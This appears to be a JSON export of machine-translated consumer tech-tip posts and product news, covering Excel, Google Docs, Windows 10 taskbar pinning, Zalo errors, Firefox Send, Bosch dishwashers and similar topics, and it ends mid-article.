a scissor icon. It will show your video actions.\n Tap Split above the toolbar at the bottom. This will cut the video where the white, vertical line is located.\n  Samuel Daniel Update 04 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpulqXq3tcOepqxln6N6qrnOr6Ce\n","link":"/post/how-to-cut-videos-on-imovie/","section":"post","tags":null,"title":"How to Cut Videos on iMovie"},{"body":"2017 Zalo error is a frequent error on the computer version of Zalo and the phone version. Error 2017 Zalo is also called Account error is not ready. When a user logs in to the account information normally will receive a red message that cannot log in to the account.\nUsing Zalo and encountering some errors will greatly affect the use of the application, such as error message 2028 Zalo, error Zalo 600, 602, 606, 647, connection loss error with the server, . Error 2017 Zalo can occur on computers and phones, which is determined to be caused by the system setting the date and time on the device. Users only need to re-check the system and then set the time to complete. How to fix the 2017 Zalo error will be in the article below.\nHow to backup and restore Zalo messages on Android phones How to backup and restore messages on iPhone Zalo 2 steps to backup Zalo messages to your computer How to fix the 2017 Zalo error on the computer Step 1:\nFirst of all, in the Taskbar, double-click on the item showing the date and time to show the time window details. Then click Change date and time settings. This will apply to Windows 7 .\n  In Windows 10 , right-click on the time in Taskbar select Adjust date / time .\n  Step 2;\nThen we click the Change date time button or the user clicks the Change button on Windows 10 to change the time for the computer.\n  Step 3:\nEnter the exact date and time for the computer, if you have a deviation of the time you need to change it and click the Change button to change it.\n  Step 4:\nThen return to the time-changing interface, in the Time zone select Vietnam time zone (UTC + 07:00) Bangkok, Hanoi, Jakata .\n  With Windows 7 , select Change time zone to change the correct time zone of Vietnam. Next, in the Set the time zone section select the Time zone , users will select the time zone (UTC + 07:00) Bangkok, Hanoi, Jakata.\nClick OK to change the time zone.\nAfter fixing, update the computer Zalo to the latest version.\n  So you can fix the 2017 Zalo error when using on the computer. This error occurs because the time on the system is incorrect leading to error 2017 on Zalo. Finally update Zalo on the device to the latest version. If you get this 2017 error on your phone Zalo can also change the time on the device, then also update to the latest version.\nSee more:\nInstructions to review old messages on Zalo Instructions to cancel your friend Zalo on your phone, computer Instructions to retrieve the Zalo password on the phone I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6ZrXq1tMRmaWlpZ2LHorjOZpyrqp%2Bn\n","link":"/post/how-to-fix-the-2017-zalo-error/","section":"post","tags":null,"title":"How to fix the 2017 Zalo error"},{"body":"As well as inserting icons into Word, on Google Docs how to insert symbols, special characters are simple and easy. This online office tool is also provided with a rich set of special icons with many different, more vivid themes than on Word. Some icons on Google Docs are designed as Facebook icons, or frequently used characters in chat applications. The following article will show you how to add a special icon to the Google Docs content.\nHow to insert the C degree icon in Word, Excel? How to create the index on the bottom, write the exponent in Word How to insert link links in Google Docs documents 1. How to insert icons on Google Docs Step 1:\nIn the Google Docs interface, click Insert and then select Special Characters.\n  Step 2:\nShow new interface Insert special character (Insert special charactes). Here we will select many different icon themes, as well as the types of icons in that topic.\n  Click on the icon topic to select the type of icon you want to insert into Google Docs content.\n  Next to each icon theme will have different types of special characters . For example, I choose the Emoticon theme (Emoji), and there will be a list of icons like the picture.\n  Step 3:\nIn the icon list look to the icon you want to use and click to insert the content, at the position of the mouse cursor.\nEach icon will be associated with different key combinations. This keystroke will assist in finding symbols, which are guided in part 2 below.\n  Step 4:\nThe icons will display in the content as shown below. Some icons are designed very beautifully, with colors to increase the symbolic art.\n  With the inserted icon the user can change the size according to needs, as well as fit the full content layout.\n  With Google Slides, you want to insert an icon to do the same. With Google Sheets there is no special Character option, but you can copy the icon on Docs and paste it into Sheets.\n  2. How to search Google Docs characters Search is available on Google Docs so that users can find the icon they want to use faster. You will search by keyword or key combination, find by drawing you draw yourself.\nMethod 1: Find the icon by keyword In the horizontal bar search users can enter any symbol keyword , or character to search for symbols. For example, when entering a Latin keyword, the search results are shown.\n  Or users search by key combination associated with each icon. In this way, you need to remember the key combination of each symbol.\n  Method 2: Find the icon according to the drawing How to draw pictures to find icons on Google Docs is quite interesting. Accordingly users will draw the icon they want to search into the white frame. Then the tool will check the icons with the same shape as your drawing.\nThe results display quite a lot to choose from. To draw another shape press the rotating arrow.\n  When using the Google Docs character insertion feature, there are 3 categories as below for easy use.\nRecent Characters: If you want to retrieve the used symbols again. Search Results: The most recent search results. Categories (Categories): Return to icon themes.   Here's how to insert icons into Google Docs, as well as how to use the icon search feature. When the content of the text has more symbols, it will surely create an impression for the reader.\nVideo tutorial to insert characters on Google Docs See more:\nHow to insert Math expressions on Word 2007 How to stretch line spacing in Google Docs Insert audio into Word documents I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqGeqLKzwIycn5qqkZjBpr7SZqanZZekvKi4xGabqJuj\n","link":"/post/how-to-insert-characters-on-google-docs/","section":"post","tags":null,"title":"How to insert characters on Google Docs"},{"body":" At the bottom of your Windows 10 desktop is a horizontal black bar called the 'Taskbar.' This bar contains the 'Start' button, the Cortana search box, and icons of programs and apps. A single click or tap on one of these program icons will...\nMethod 1of 5:\nPinning a Program to the Taskbar from the Desktop  Select the program or app to pin. Click and hold the desktop shortcut of the desired program or app.\n  Drag the program or app towards the Taskbar. After a moment, you should see the 'Pin to Taskbar' option.\n  Release to drop the program or app to the Taskbar. The program's icon will appear in the Taskbar and is now pinned there for easy access.\n Method 2of 5:\n  Click the Start button. It is located at the bottom of the left side of your Desktop. Click it to open the Start menu.\n  Locate the program you want to pin. If the program you want is not on the Most Used list or the Recently Added list, click or tap 'All apps' at the bottom of the left pane of the Start menu. When you click 'All apps,' a directory tree appears with an alphabetical list of all available programs or program folders.\n  Right-click (or press and hold) the program you want. When you right-click on a program, a context menu appears beside the program which gives five options: 'Pin to Start' (or 'Unpin from Start' if the app is already set up as a tile), 'More' and 'Uninstall,'\n  Hover over More.\n  Choose 'Pin to taskbar' from the context menu. The icon on the program will then appear in the Taskbar. You can now launch the program quickly by clicking/tapping the pinned icon on the Taskbar.\n Method 3of 5:\n  Open File Explorer. You can click/tap the File Explorer icon pinned to the Taskbar. You can also click/tap the Start button to open the 'Start' menu, and then click/tap 'File Explorer' in the left pane.\n  Locate the program you want by navigating the directory tree. Click/tap the C: drive to expand the directory tree of the C: drive. Then locate and click/tap the 'Program Files' folder to see the list of programs or program folders.\n  Right-click (or press and hold) the program you want. This will cause a context menu to pop up beside the program/app name .\n  Pin the program to the Taskbar. The list of options in the context menu is rather long, so look for the option 'Pin to taskbar' and tap it. Doing so will pin the program/app to the Taskbar.\n Method 4of 5:\nPinning a Program to the Taskbar from the File Explorer Ribbon  Open File Explorer. If the 'File Explorer' icon is pinned to the Taskbar, click/tap on icon to open the 'File Explorer' window. Alternatively, you can click the Start button to open the 'Start' menu and then click/tap 'File Explorer' in the left pane.\n  Look for the program to pin. At the left pane of the 'File Explorer' window is a directory tree. Locate then click/tap the the arrow beside the C: drive to expand its directory. Look for and then click/tap the 'Program Files' folder. When you do this, you will see the list of programs or program folders on the right pane of the window. Double-click or double-tap the program folder you want.   Open the Application tools/Manage tab of the program. When you click/tap the program you want, the 'Application tools/Manage' tab will appear. This is a contextual tab—a tab that is not visible every time and appears only when specific options are available. Click/tap the 'Application tools/Manage' tab.\n  Pin the program to the Taskbar. When you click/tap the 'Application tools/Manage' tab, you will see three tiles or buttons appear on the ribbon. On the leftmost side of the ribbon is the the 'Pin to taskbar' button (the icon looks like a push pin). Click/tap the 'Pin to taskbar' button, and the program's icon will appear on the Taskbar, indicating that it is now pinned.\n Method 5of 5:\nPinning a Program to the Taskbar when the Program is Running  Run the program or app that you want to pin to the Taskbar. When you open the program, its icon appears on the Taskbar; however, this icon will disappear when you close the program or app.\n  Right-click (or press and hold) the icon of the running program on the Taskbar. An options menu will pop up. It will list some actions that you can take with the open program or app.\n  Choose 'Pin this program to the taskbar.' From the pop-up menu, click/tap 'Pin this program to taskbar.' This will pin the program to the Taskbar, even after it's closed.\n  Samuel Daniel Update 04 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqiZo3qiec%2BrpqCqkaJ6tbuMrZ%2BeZaeeu6W71qxkamhdqa60t8GaqQ%3D%3D\n","link":"/post/how-to-pin-a-program-to-the-windows-10-taskbar/","section":"post","tags":null,"title":"How to Pin a Program to the Windows 10 Taskbar"},{"body":"Excel is a great useful spreadsheet program, but nothing is worse than creating a perfect spreadsheet and printing it on multiple sheets of paper that have pages with only one column or row. Fortunately, you can change the spreadsheet and install the program to print everything on a page. If the spreadsheet is too large for a page, you can use these settings to allocate it on certain pages more easily.\nYou want to print text, data in Microsoft Excel. Not as simple as Word or PDF! Read the following article! View before printing This is an important step, you can avoid a lot of problems before printing if previewed. Depending on the version of Excel, users may have to click File \u0026gt; Print Preview , File \u0026gt; Print \u0026gt; Print Preview , or just File \u0026gt; Print to see what the worksheet looks like when printed. If you see no problem go ahead and print. If not, try some of the strategies listed below.\nUse page layout view ( Page Layout View) Page layout view mode will show you how the document prints out while working. This is not a great way to work on spreadsheets but it can help make adjustments to ensure that columns and rows make the most of the space. To activate the view, go to View \u0026gt; Page Layout .\n  Making adjustments using the tools listed below while in this view will help users know if they work well or not.\nPage Orientation ( Page Orientation) If the spreadsheet is of a long width, you should leave the page horizontal and if the width is short, leave it on the page. To select the dimension for the spreadsheet, open the Page Setup menu and select the Portrait or Landscape in the Page tab.\n  Delete or Delete row or column In large spreadsheets, there are often excessive rows or columns, which contain old information or do not need to be printed in certain situations. These rows and columns occupy a valuable area on the page.\n  If you want to delete that data, just highlight \u0026gt; Edit\u0026gt; Delete to remove them. If they contain information you may need in the near future, you can hide them by right-clicking on the row or column header and selecting Hide . To review the data, black out the rows or columns on either side of the hidden data, right-click the label, and select Unhide .\nUse page breaks ( Page Breaks) Just like in a word processing program, you can insert page breaks to make sure that the spreadsheet is split between multiple pages at will because of Excel's discretion. Just use Insert \u0026gt; Page Break to tell Excel where to divide the document.\nChange the print area ( Print Area) If the spreadsheet has lots of data and only needs to print some data, you can print part of the selected worksheet. Select the cells you want to print and click Print . Change the Print What option : to Selection and the preview will update to contain only the selected data.\n  If you regularly print the same selection, you can set up the print area permanently, so you don't have to choose each print. To do this, select the print area frequently, then go to File \u0026gt; Print Area \u0026gt; Set Print Area . Now this option will become the standard print area for spreadsheets. To exit that installation, use File \u0026gt; Print Area \u0026gt; Clear Print Area .\nChange page margins ( Page Margins) If just a little more space for the spreadsheet to fit on one page, adding a space to the margin of the page can solve the problem. You can access the Page Setup dialog box or from File \u0026gt; Page Setup or with the Page Setup button in the print dialog box. Add a bit of space to each margin and check the print preview.\n  It's easy to add margin space for appropriate data on a page. However, keep in mind that text that runs along the edge of a paper size is not only aesthetically pleasing but can be difficult to read. Be cautious with this.\nWrap Text and t or resize columns Excel is often used for digital data, but it can be really useful for text. If there are multiple documents in the cells, they will spread out the spreadsheet and make the data impossible to print in one page, or even on multiple pages.\n  Some text is missing letters, and the cells that are not cut run too far to the right. To limit the width of the spreadsheet, you can limit the width of the column and use a text package to ensure that no data is lost. First of all, go to Format \u0026gt; Cells \u0026gt; Alignment and make sure Wrap Text is enabled.\n  From here, you can adjust the column width by dragging the edge of the row or column header to resize it. In addition, users can also double-click the row or column label to automatically make it as wide as necessary, as shown in the video below. To ensure that the columns fit within a page as desired, use the page layout view mentioned above.\nAdjust the spreadsheet ratio You can adjust the spreadsheet rate to match a single page (or certain pages). In Page Setup , click the radio button next to Fit to: and select the number of pages to print. Selecting a number of smaller \"wide\" pages will scale the document horizontally, and select a smaller number for the \"tall\" page to have it vertically. You can also choose a percentage.\n  Using this option can help limit the size of the document when printing, but it can also make the text very small and difficult to read . Check the preview and make sure the data can be read clearly.\nSome tips to make printouts easier to read Once you've set up a spreadsheet to be printed on certain pages, make some changes so that it can be read as easily as possible. By adjusting several other print settings, you can optimize the print interface. Here are a few things you should know.\nGridlines (Gridlines) and column and row titles In the Page Setup menu (accessed via the print dialog or File \u0026gt; Page Setup ), click the Sheet tab and select Gridlines in the Print section. You can also select Row and column headings to add these labels to the printout.\n  I do n't believe the title and footer Excel can automatically add useful information to the document's title and footer for easier reading. In the Page Setup menu, click the Header / Footer tab and use the drop-down menus to add information such as page numbers, file names and author names to the title or footer. If the spreadsheet is long, this information can help keep the pages organized more easily. Alternatively, you can also add custom text by clicking Customize Header or Customize Footer .\nMany people may be disappointed when trying to make their spreadsheet look good when printed, especially if they want it to be printed on a single page. But with a few adjustments to this installation and document format, you can produce a nice print.\nI wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqiinru1ecCnZJ6wk5q5br%2FPq5yanKOdsqbAjKKlZpldpa6osQ%3D%3D\n","link":"/post/how-to-print-an-excel-spreadsheet-in-a-page/","section":"post","tags":null,"title":"How to print an Excel spreadsheet in a page"},{"body":"Mozilla has finally officially released a complete version of Firefox Send, a free encrypted file transfer service, allowing users to share files from any browser.\nWith Firefox Send, users can share files up to 1GB in size (2.5GB if they sign up for a free Firefox account) safely, and the recipient does not need to have a Firefox account. To access the file just by linking to that file is enough - a feature that is highly appreciated.\n  Dark Reader - A free utility that turns any website into dark mode, inviting the experience Details about Firefox Send In fact, the beta version of this service was released in August 2017. At that time, restricted users were only allowed to send files up to 1GB in size, and linked. creating to file will also expire after only one download or 24 hours (whichever comes first).\nFor now, in this first official version, in addition to the aforementioned basic features, Firefox Send will also provide users with more security control. The user can now choose one of the following options:\nThe link to the file will expire after 1, 2, 3, 4, 5, 20, 50 or 100 downloads. The link to the file will expire after 5 minutes, 1 hour, 1 day or 7 days. To protect files with a password with an additional layer of security. In addition, the service runs on Google's Cloud Platform and uses the JavaScript Cryptography Web API with AES-GCM 128-bit algorithm for client-side encryption and decryption. Therefore, it will work in all browsers that support this API, except for some unpublished browsers (for example, some mobile browsers). If you want to try sharing files via Firefox Send, you can follow the instructions in the following article: \"How to use Firefox Send large file sharing\".\n  Chrome 73 launches with hardware media key, PWAs and Dark Mode support on Mac \"Mozilla will receive an encrypted copy of the file you uploaded, but we will not be able to access the content or the name of your encrypted file by default. By default, the files will be stored in the dark. If you choose to limit downloads, the file may be deleted from the server sooner, 'said Mozilla representative in a service security notice.\nBesides, Mozilla also stated that they will identify the IP address of both the uploader and the downloader, and retain this information for 90 days.\n'Although we develop our services in the philosophy of minimizing any identity feature to users, you should know that there is a possibility of a correlation between the IP address and the User account Send with the IP address of other Mozilla services, and if there is a match, this can determine the account's email address. '\n  This is the interface of the Microsoft Edge browser on Chromium, which looks very much like Chrome People who don't trust Google's Cloud Platform have the option to run their own version with a cloud service or another local server. The requirements for each option are listed on the Firefox project page Send on GitHub.\nIn addition, Mozilla also said that Firefox Send will be available as an Android application in beta later this week.\nncG1vNJzZmismaXArq3KnmWcp51kurDGyKWjmmWimrmmrdKem2aemaeyp7vXZqqeppRirm6y0Z6cZp2emL%2B6vNOem2aemaGybr%2FHmqmippdiwKa%2B1aKang%3D%3D\n","link":"/post/mozilla-released-firefox-send-a-free-encrypted-file-sharing-service/","section":"post","tags":null,"title":"Mozilla released Firefox Send - a free encrypted file sharing service"},{"body":"Old computers today are no longer worth using, but still have performance but consumers because of the \"life\" of new machines should not be used.\nWhy don't you turn plastic, iron and electronic circuits in old computers into something useful rather than left? Here are 5 examples of interesting reuse of old computers according to PC World magazine.\nUse for a specific application\n  Many services of the system consume a lot of RAM.\nThe first way is to limit the use to a specific purpose. Suppose the \"object\" is a 5-year-old laptop at half the speed of other machines at the same price. Since some applications such as antivirus, graphics card controller, some operating system applications . consume a lot of RAM when the machine is operating, you need to delete all the software and applications you don't need. set. Thus, there will be no applications running in the background and slowing down the processing speed of the device. Instead, you can now use the old laptop with just one graphics software, Photoshop. This is a good way to maintain the use of old computers in tasks that require a lot of processing power.\nUpgrade\n  RAM upgrade is a fairly common solution.\nIf your computer is not too old, upgrading is a reasonable and economical choice. Why spend 10 million to buy new machines while your needs can be met with only 2 million. Please refer to the instructions on choosing suitable components, safe for long-term \"comrades\" and \"walking\" around technology forums before deciding that not all desktops can be upgraded, laptops then usually only add RAM.\nMultimedia server\n  Turn the old computer into a server.\nClean up all unnecessary data from your computer and download the latest patch for the operating system you are using before starting.\nWith this \"project\", you need:\n- A high-speed Internet connection.\n- Network card. - Router. - A sufficient amount of hard drive to store data.\nOnce you have arranged the components as instructed, you need to establish a connection in the operating system. Click Start , select Control Panel , then select \" Network and Internet Connections \". From here, select \" Network Connections \", then click on \" Network and Sharing Center \". You will see below is a list of specific options. If you have not set up the network, select \" Set up a new connection or network \". Restart the computer so that the connection setup is valid.\nNext, rename the computer for separate and easy to remember. To do this, right-click \" My Computer \", then \" Properties \". You can change the device name via the \" Change setting \" option under \" Computer Name, domain, and workgroup settings \". Now you can connect any device in the network to share data in the newly created server. You should create a shared shared folder in C: UsersPublic on your computer.\nIf you use Windows Vista or Windows 7, the computer can automatically search for devices that are connected to the network, and vice versa. To access remote shared data, open the Explorer window and select \" Network \". Maybe the computer will require reconfiguring the data sharing settings. Now just connect to the server or device with the corresponding icons.\nIn Windows Vista, you can create a \" homegroup \". It is a simple and fast way to create a data sharing network. Just go to \" Network and Sharing Center \" in \" Network and Internet \" in Control Panel and select \"Choose homegroup and sharing options \". If no groups are available, you will have to set up a new one. Conversely, just join in by clicking \" Join now \". Then, follow the instructions above to connect the device.\nNow that computers are connected, you can share multimedia files between them. By saving data to designated areas, you can freely share music, photos, or movies. Many Windows-based computers are preinstalled with Windows Media Center. The software has options to find music and movies in shared folders on other devices on the network.\nIf using iTunes, you can use the Home Sharing feature. To activate Home Sharing, simply click on the corresponding icon in iTunes and log in with your Apple ID. Repeat the above procedure for all computers on the network. Once the computers are connected, you can open the Home Sharing sub-section, select the shared content and start streaming data directly from one device to another. There is no need to create shared folders for this method.\nMultimedia entertainment center\n  A professional set of HTPC in the market has a very high price.\nMost computer configurations built in the last 10 years have DVD or CD burners, hard drives, USB slots and multimedia data systems with music, movies and photos. All of these are suitable for turning your old computer into a real home multimedia (HTPC) entertainment center. One set of HTPC is currently quite expensive, about 8 million VND for a temporary configuration. If you take advantage of old computers to be HTPC, you have saved a good amount of money. Of course, provided that the computer must be able to project high-quality movies (preferably HD standards) and have a hard drive enough to hold a certain amount of movies, music and photos.\nTo turn the old desktop into HPTC, you need:\n- Cable.\n- Transfers between standards. - TV suitable. - HTPC case (if you need aesthetic).\nConnect the TV and computer with the connecting cable. If these devices are not the same standard, you will need to use an appropriate adapter. Computers that make HTPC will usually be located in the living room or somewhere in the house so you may need to replace the cover with a new HTPC shell. This type is sold in the market at a fairly affordable price, from 500,000 to 800,000 VND.\nNext, open the Properties dialog box by right-clicking on the computer screen, selecting \" Properties \", clicking on the \" Settings \" tab , finding your TV and . done.\nCreate a \"work of art\"\n  A car from hard drive components.\nWhen you do not know how to use Control Panel, or server concept, even RAM, there is an interesting, more environmentally friendly option: art.\nOpen the case, remove each of the old computer parts and components and then assemble them into whatever you like. You can make a picture, a building or even a dinosaur. It all depends on your creativity and interests.\nIn addition to bringing \" consignment \" of a computer that is no longer used through a second-hand store or letting dust away in the house, there are still many options that can make use of the capabilities of these devices in daily work both save a significant amount of money for other shopping plans.\nncG1vNJzZmismaXArq3KnmWcp51kv6bB0p5kqKSUYrCwuc%2Buq56qow%3D%3D\n","link":"/post/reuse-old-computers/","section":"post","tags":null,"title":"Reuse old computers"},{"body":" Miserable because of the record heat wave, netizens relieve themselves with institutional photos Laughing at your stomach with the camera using a brand name to 'drop your hearing' from netizens Super photos will make you admire the ability of humans to Photoshop Superhero characters with special abilities are always the ones to save humanity from destruction. But sometimes these special abilities cause minor inconveniences in their lives. Let's come to SpiderWee's humorous collection of painters from Thailand. Behind the fierce people are extremely funny and lovely images.\nIn this series, there will be superhero characters like Spider-man, Iron Man, Thor, Thanos, Hulk, . when viewing these photos, you will also call the photos in the style of 'glamor'. If you're a fan of superhero characters, it's hard to ignore these unique phone wallpapers.\n                                                          See more:\nUnique calligraphy wallpaper set for phones Download a set of wallpapers for your phone with different themes Collection of animated wallpaper sets for phones with love themes ncG1vNJzZmismaXArq3KnmWcp51kwamxjKasnZypYr2pu82eZLCZnKG9orzEq2Sonl2owrGx0aGcq6eVqA%3D%3D\n","link":"/post/the-muddy-phone-wallpaper-of-superheroes/","section":"post","tags":null,"title":"The 'muddy' phone wallpaper of superheroes"},{"body":"If spreadsheet Excel has many hyperlinks, then you want to remove these hyperlinks. However, with so many hyperlinks, removing hyperlinks will take a long time. So how to find and delete all hyperlinks on Excel file, please refer to the following article of Network Administrator.\n1. Find and delete all Hyperlink on Excel First select the cells you want to delete Hyperlink. To delete all available hyperlinks on the spreadsheet, press Ctrl + F to open the Find and Replace dialog box.\nIn the Find and Place dialog box, click the Options option .\n  \nNext click on the arrow at Format tab, select Choose Format from cell.\n  \nSelect cell with hyperlink and it will display the preview next to the Format frame as shown below.\n  Click on Find All and all Excel hyperlinks will be displayed on the screen.\nYou can select one or more hyperlinks from the list of results using the Ctrl or Shift keys .\nTo delete hyperlinks, right-click on the hyperlink on the cell, then select Remove Hyperlink.\n  \n2. Find and delete Hyperlink on a specific text Suppose to delete Hyperlink on Product 3, follow the steps below:\nPress Ctrl + F to open the Find and Repalce dialog box.\n  In the Find what frame, enter Product 3 . Click on the down arrow next to Format, select 'Choose Format From Cell'.\nSelect the cell with Product 3 and it will show the preview next to the Format frame, then click Find all.\n  \nOn the screen will display hyperlink Product 3.\n  Select the tape result by pressing Ctrl or Shift key. To delete all hyperlink, right-click the selected hyperlink and select Remove Hyperlinks .\n3. Delete all hyperlinks at the same time To delete all hyperlinks on spreadsheet Excel, press Ctrl + A or click on the triangle icon on the top of the sheet as shown below to select the entire spreadsheet.\n  Right-click anywhere on the sheet and select Remove Hyperlinks . All hyperlinks will be completely removed on the entire spreadsheet.\n  Refer to some of the following articles: Summary of expensive shortcuts in Microsoft Excel You want to print text, data in Microsoft Excel. Not as simple as Word or PDF! Read the following article! These are the most basic functions in Excel that you need to understand Good luck!\nncG1vNJzZmismaXArq3KnmWcp51kwam10magrGWRYsCquc%2BlnGavka56tbuMn6CnnF2Wu6V5w56jnqyVYrW6vMSro6Kmm2K2r3nEsZqepA%3D%3D\n","link":"/post/this-is-a-simple-way-to-find-and-delete-hyperlink-in-excel/","section":"post","tags":null,"title":"This is a simple way to find and delete Hyperlink in Excel"},{"body":"Bosch dishwashers are divided into several series, the most popular of which are series 2, series 4 and series 6. If you are looking for Bosch dishwashers in these series, please read our article for suggestions. will you?\nDishwasher Bosch serie 2 SMS25CI05E Dishwasher Bosch 13 sets SMS25CI05E imported CBU from Spain, very suitable for use in large families. The product is equipped with a mechanical control panel with an intuitive interface, easy to use. EcoSilence engine of the machine operates extremely smoothly, does not cause unpleasant noise affecting the user's life.\nSMS25CI05E has built-in 5 common washing programs, including: Intensive wash 70 degrees C, normal wash 65 degrees C, automatic wash 45 - 65 degrees C, quick wash 45 degrees C and soak before washing. In addition, the machine also has 2 wash programs especially fast wash and half load wash.\n  Dishwasher Bosch serie 2 SMS25CI05E\nDishwasher Bosch serie 4 SMS46MI05E (14 sets) Independent dishwasher Bosch SMS46MI05E is made of high quality stainless steel, can wash up to 14 sets of dishes at a time. The product has 3 wash rigs, cutlery arrangement designed. SMS46MI05E operates very smoothly (noise level is only about 45dB) and extremely energy efficient (A ++ energy label) thanks to EcoSilence Drive engine. Here are some typical features of dishwashers:\nPlus cleaning program: Kill bacteria, help dishes almost completely sterile. 40-degree glass washing program: In this program, dishwashers will reduce the temperature and extend the drying time, to ensure the brightness, transparency as well as the durability of glass items. Water distribution sensor: SMS46MI05E is equipped with water measuring sensors. Thanks to these sensors, it is able to distribute water according to the number of dishes that need to be washed appropriately to save water. VarioSpeed ​​Plus function: This function allows the machine to wash and dry items in the shortest possible time while ensuring the cleaning effect.   Independent dishwasher Bosch SMS46MI05E\nDishwasher Bosch serie 4 SMI46KS01E SMI46KS01E is a line of Bosch dishwashers in the cabinet, each can wash up to 13 sets of dishes. The case is made of high quality stainless steel, very durable and always shiny. The machine is equipped with 3 mobile washing rigs. These rigs can be changed in height to suit the utensils and tools to be washed. Wide machine door, helps users to arrange bowls, cups, plates . easily.\nThe dishwasher Bosch serie 4 SMI46KS01E has 6 washing programs, including: Intensive washing 70 degrees C, automatic washing 45 - 65 degrees C, Eco washing 50 degrees C, quick washing 45 degrees C, 1 hour washing and washing coated. In addition to the 6 main washing programs, the machine is also equipped with many other extra features such as child lock, automatically stops when opening and resumes when closed, sensor and leak detection, timer, washing program especially VarioSpeed ​​Plus . SMI46KS01E operates very smoothly with a noise level of only 46dB.\n  Dishwasher Bosch SMI46KS01E\nDishwasher Bosch serie 6 SMS63L08EA Dishwasher Bosch SMS63L08EA owns a luxurious, modern design with outer shell made of stainless steel, high durability. Each operation, the machine can wash up to 12 sets of dishes and can wash pots and pans.\nSMS63L08EA has 6 main washing programs (IntensivePlus 70 o C, Normal 65 o C, Auto 45 - 65 o C, Economy 50 o C, Quick Wash 45 o C and Pre Rinse) and 2 other special wash programs (VarioSpeed ​​and Hyglene Plus). In addition, the machine can also recognize the degree of dirty dishes and adjust the washing mode accordingly, prevent water leakage with Aqua Stop system, child safety lock, wash timer, remember washing program. when having electrical problems .\n  Dishwasher Bosch SMS63L08EA\nDishwasher Bosch serie 6 SMU68TS02E SMU68TS02E is designed half sound with outer shell made of durable stainless steel, always shiny and easy to clean. The machine uses brushless motor, does not create friction, does not generate heat to help reduce noise, improve longevity and save more electricity. The system of Variodrawer Pro and VarioFlex Pro baskets inside the machine can adjust the height, lift, fold flexibly, so that users can arrange dishes easily.\nThe product has 8 basic washing programs (intensive washing 70 degrees, energy-saving washing 50 degrees, Silence Program noise reduction program, quick washing glass 45 degrees, 1 hour 60 degrees washing, automatic washing 45 - 65 degree, coating) and 4 additional options (VarioSpeed ​​Plus, Intensive Zone, HygienePlus, Extra Dry). Not only that, the device also has Aqua Stop water leakage, Machine care cleaning function and a timer to start up to 24 hours.\u0026nbsp;\n  Dishwasher Bosch serie 6 SMU68TS02E\nHopefully the products that Bosch dishwasher series 2, series 4 and series 6 we share will help you. Wishing you soon find the right product for your family's needs!\nncG1vNJzZmismaXArq3KnmWcp51kwbC8jJ2grKCnlsCpsdFmmairk516tLHRopxmal2osrO1xKxkbWWjmr%2BqsdJmbWaZopp6tbTEZqSoq6RivbC81KWYq2WkpLGixQ%3D%3D\n","link":"/post/top-dishwasher-bosch-serie-2-series-4-series-6-are-the-most-popular-today/","section":"post","tags":null,"title":"Top dishwasher Bosch serie 2, series 4, series 6 are the most popular today"},{"body":"Microsoft launched a local help viewer for Visual Studio 2010, integrating Project Server with Team Foundation Server to help development teams work more effectively.\n  Microsoft has released the final version of the integrated development environment (IDE) Visual Studio 2010 (VS2010) Service Pack 1 (SP1), providing capabilities like better help, IntelliTrace for 64-bit systems and SharePoint.\nThe new in-place helper is a client application that allows developers to navigate the table of contents in a fully extended tree format, searching for topics through keywords, and using shortcuts to Access to many features.\nWith IntelliTrace , bug fixes are enhanced by allowing developers to see cases that happened in the past instead of deducing them or restarting the application to replicate these cases.\nIn addition, VS2010 SP1 has Silverlight 4 tools; The unit supports testing for Net 3.5, Microsoft vice president for Visual Studio group Jason Zander said in a blog post on Tuesday. \" We focus primarily on fixing the issues you have reported, \" said Zander.\nMSDN subscribers can access VS2010 SP1 on the web. The wide release took place on Thursday, March 10, 2011. Microsoft also announced it was able to use Team Foundation Server Project Server Integration Feature Pack , integrated with Project Server for project management, and the Team Foundation Server application lifecycle management server (TSF).\nncG1vNJzZmismaXArq3KnmWcp51kw6q%2F1JqjZqukqrGqu4xrZ2poXai9cnnEp5%2BappOawG6wxK%2Bcpaegmr9uv9Spp6iqpA%3D%3D\n","link":"/post/visual-studio-2010-sp1-enhances-developer-support/","section":"post","tags":null,"title":"Visual Studio 2010 SP1 enhances developer support"},{"body":"Armed Heist is a mobile game series of shooters rated as a mobile version of \"PAYDAY\".\nIn the game, players will play the bandits equipped with many modern weapons. Your task is to break into a bank or a well-protected gem store to successfully rob a certain amount of money.\n  In the game there are more than 30 types of weapons from pistols, interlock gun to sniper gun to help players can comfortably shop as well as upgrade weapons for their characters to increase the likelihood of success when done missons.\nThe 3D graphics in Armed Heist are quite beautiful, the character appearance is clearly built, the weapons are designed in detail. In addition, Armed Heist also includes 3D Touch feature to help players have the most authentic experience.\n  Armed Heist is now officially released for free, widely across the globe through the App Store system from August 16, 2018. If you love this game, you can visit the address below to download the game for free and experience.\nArmed Heist on the App Store See more:\nMobile games are the most influential in the history of phone development Top mobile games offline extreme horror or make players have to chill Download Arena Of Survivors - Battle Royale game produced by Vietnamese people ncG1vNJzZmismaXArq3KnmWcp51krrO5xJ1koZ2ZqMFuvMCym5qxXaK8o7XLnmSiq12ks6e1wqKYpaSpYr%2BmuMSaqp6cXZu8s3nFq5yeZaekv62w1qKbng%3D%3D\n","link":"/post/armed-heist-payday-mobile-is-officially-released-for-free-worldwide/","section":"post","tags":null,"title":"Armed Heist - 'PAYDAY' mobile is officially released for free worldwide"},{"body":"When Windows 10 was released, it made many people excited by a beautiful flat interface, and later on, Windows 10 became even more beautiful through Microsoft updates. The start menu on windows 10 has been narrowed down compared to windows 8, no longer full screen. However, many people still prefer a simple and neat start menu on Windows 7. The best solution is to bring the traditional Start button on Windows 7 to Windows 10. The following article will guide you how to put start menu on windows 7 to windows 10 with just a few simple steps.\nTo bring the start menu win 7 to win 10 we will use a tool called StartIsBack, you can download this tool with the following link:\nDownload link: http://startisback.com/#download-tab\nAfter downloading, double-click the file to install. In the installation window you can choose 1 of 2 options for Install for me (the application will only install for the user you are logged in) and Install form everyone (the application will install for all users on the computer). You can choose any.\n  After choosing one of the two options, wait for a while the software will automatically install. After the installation is complete you can open the Start menu and see the changes, in this window you choose Configure StartIsBack now to customize the start menu.\n  You can see the Start menu has changed the same on Windows 7:\n  In the application settings you can 